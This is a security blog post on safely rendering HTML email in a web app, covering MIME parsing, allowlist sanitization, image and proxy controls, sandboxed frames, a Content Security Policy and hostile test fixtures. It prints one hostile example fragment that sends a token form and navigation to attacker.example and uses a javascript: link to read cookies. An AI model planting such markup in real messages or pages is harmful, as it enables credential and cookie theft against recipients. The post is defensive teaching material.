emailverifier.dev
Posts

How to Safely Render HTML Email in a Web App

| 7 min read | Usama Ejaz
An HTML email passes through MIME parsing, sanitization, resource controls, and an isolated render frame while scripts and remote trackers are blocked.

An HTML email is untrusted active content. To render it safely in a web app, I would parse the MIME message first, sanitize the selected HTML with an allowlist, resolve inline resources inside the message, block remote loads by default, and display the result in a sandboxed document with a restrictive Content Security Policy.

Sanitization and isolation solve different problems. The sanitizer removes capabilities from the markup. The render boundary limits the damage if a dangerous construct survives, a configuration changes, or a browser interprets the document differently than expected.

Here is a deliberately hostile, hypothetical fragment. It is not exotic:

<base href="https://attacker.example/">
<form action="https://attacker.example/collect">
  <input name="token">
  <button>Continue</button>
</form>
<img src="https://tracker.example/open/7f3c" alt="">
<a href="javascript:alert(document.cookie)">View invoice</a>
<script>top.location = "https://attacker.example/"</script>

The goal is not merely to make the script tag disappear. The rendered document should be unable to run script, submit a form, change the parent application, reinterpret relative URLs through a hostile <base>, or fetch a tracking resource without a product decision allowing it.

Start with the MIME tree, not an HTML string

A raw email is a tree. RFC 2046 defines multipart/alternative as interchangeable versions of the same information, ordered from simpler to richer representations. Your renderer should select one supported body branch rather than concatenate every text/* part.

That selection belongs before sanitization. Otherwise an attachment containing HTML, a forwarded message, or both alternatives can leak into the display path. I covered the container relationships in the MIME structure guide, and the same parse-first boundary matters when extracting the newest reply.

I would preserve four separate fields: the original message bytes, the parsed MIME tree, the chosen body part, and the eventual display document. A rendering failure should not overwrite the evidence needed to inspect or reprocess the message.

Sanitize capabilities, not a list of scary tags

Output encoding is correct when the product wants to show the source as text. It is not enough when the product intentionally renders formatting. The OWASP XSS Prevention Cheat Sheet recommends a maintained HTML sanitizer for untrusted HTML and warns that changing the result after sanitization can void the protection.

For email, I would define an allowlist around the small set of presentation features the reader actually needs. The exact library is less important than the contract:

  • Allow ordinary text structure such as paragraphs, headings, lists, tables, quotations, and basic emphasis.
  • Remove scripts, forms, embedded browsing contexts, plugins, metadata elements, and event-handler attributes.
  • Remove <base>. Resolve every URL under your own policy instead of letting the message redefine the document base.
  • Allow only explicit URL schemes. A reasonable starting point for links is https: and mailto:, with http: handled according to product policy. Reject javascript:, data: on navigable links, and unknown schemes.
  • If inline styles are retained for email fidelity, sanitize CSS properties and every url() value separately. An allowed style attribute is not permission for arbitrary network requests.

Do not sanitize and then run string replacements that can create new attributes or URLs. Parse, transform through typed nodes, sanitize, and serialize. If a later step must rewrite a URL, pass the result through the same scheme and resource policy before it reaches the browser.

Inline and remote images are different resources

A cid: URL refers to another body part in the same message. RFC 2392 defines that mapping. Resolve it only against the current message's parsed parts, then verify the media type and size before producing a short-lived local object URL or an application-controlled asset URL.

A remote https: image crosses a network boundary. Loading it can disclose that a particular resource was requested, which is why the tracking-pixel guide treats a fetch as a network observation, not proof that a person read the message.

My default viewer would block remote content and offer a deliberate “Load remote images” action. If the application proxies those images, the proxy becomes an SSRF surface. The OWASP SSRF Prevention Cheat Sheet explains why URL parsing, redirects, DNS resolution, and private-address checks all matter. A production proxy should restrict schemes and ports, reject non-public destinations at connection time, revalidate redirects, cap response size and time, verify the declared and detected media type, strip credentials and cookies, and cache by a safe internal key.

The policy can be stated without pretending every image is the same:

ResourceDefault actionRequired boundary
cid: imageResolve locallyCurrent message only, size and media-type checks
Remote imageBlockExplicit user action or hardened image proxy
data: imageRemove or tightly limitAllowed image types and decoded-size cap
Stylesheet, font, media, frameBlockNo email-rendering need by default

Put the display document behind a second boundary

Do not inject sanitized email into the same DOM that holds your navigation, account controls, or session-bearing application. Render it in an iframe with the sandbox attribute and no permissive tokens unless a measured requirement justifies one.

The HTML Standard says a sandboxed frame without opt-out tokens receives a unique opaque origin and has forms, scripts, top-level navigation, popups, and other capabilities restricted. In particular, do not combine allow-scripts and allow-same-origin for same-origin content. Email does not need either permission.

I prefer serving the sanitized document from an isolated origin with response headers, rather than using an application component that writes HTML into the main page. A defensive response can begin here:

Content-Security-Policy:
  default-src 'none';
  img-src 'self' https://mail-image-proxy.example;
  style-src 'unsafe-inline';
  base-uri 'none';
  form-action 'none';
  frame-ancestors https://app.example;
  sandbox
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff

This is a baseline, not a copy-and-forget policy. If your display origin differs, adjust frame-ancestors. If you do not retain inline styles, make style-src stricter. If remote images are disabled, omit the proxy host from img-src. The current Content Security Policy Level 3 specification defines sandbox, form-action, and frame-ancestors; it also notes that frame-ancestors does not fall back to default-src.

The fair objection is that a good sanitizer should make the sandbox redundant. I would still use both. Sanitizer rules can drift, browser parsing changes, and an integration can accidentally bypass the sanitization call. The frame and CSP provide an independent browser-enforced boundary. CSP is defense in depth, not a substitute for sanitization.

Prove the boundary with hostile fixtures

Positive tests that show a logo and a table are not enough. Keep a fixed corpus of hostile messages and assert what the browser cannot do.

FixtureExpected resultObservable check
Script and event handlersRemoved and non-executableNo script execution or application-DOM access
Form and submit buttonRemoved or inertNo outbound form request
Hostile <base>RemovedRelative links do not change destination
javascript: linkURL rejectedClick cannot execute code
Remote pixelBlocked before consentNo DNS or HTTP request
cid: image from another messageUnresolvedNo cross-message asset lookup
Proxy URL resolving to a private IPRejectedNo connection to local or metadata networks

Run those tests against the serialized display document and in a real browser. Record sanitizer removals and CSP violations as security telemetry, but do not include message bodies or secrets in logs.

Email verification answers a different question. It can provide address-quality evidence before a signup or send, but it does not inspect inbound HTML or make a message safe. The current API contract keeps verification status, recommended action, and signals explicit, including unknown outcomes. The rendering path should be just as honest about its own boundary.

The finished viewer has a testable property: the render frame can display the selected message, but it cannot execute script, submit data, navigate the application, or fetch remote content unless a narrowly defined policy allows that exact action.

Continue reading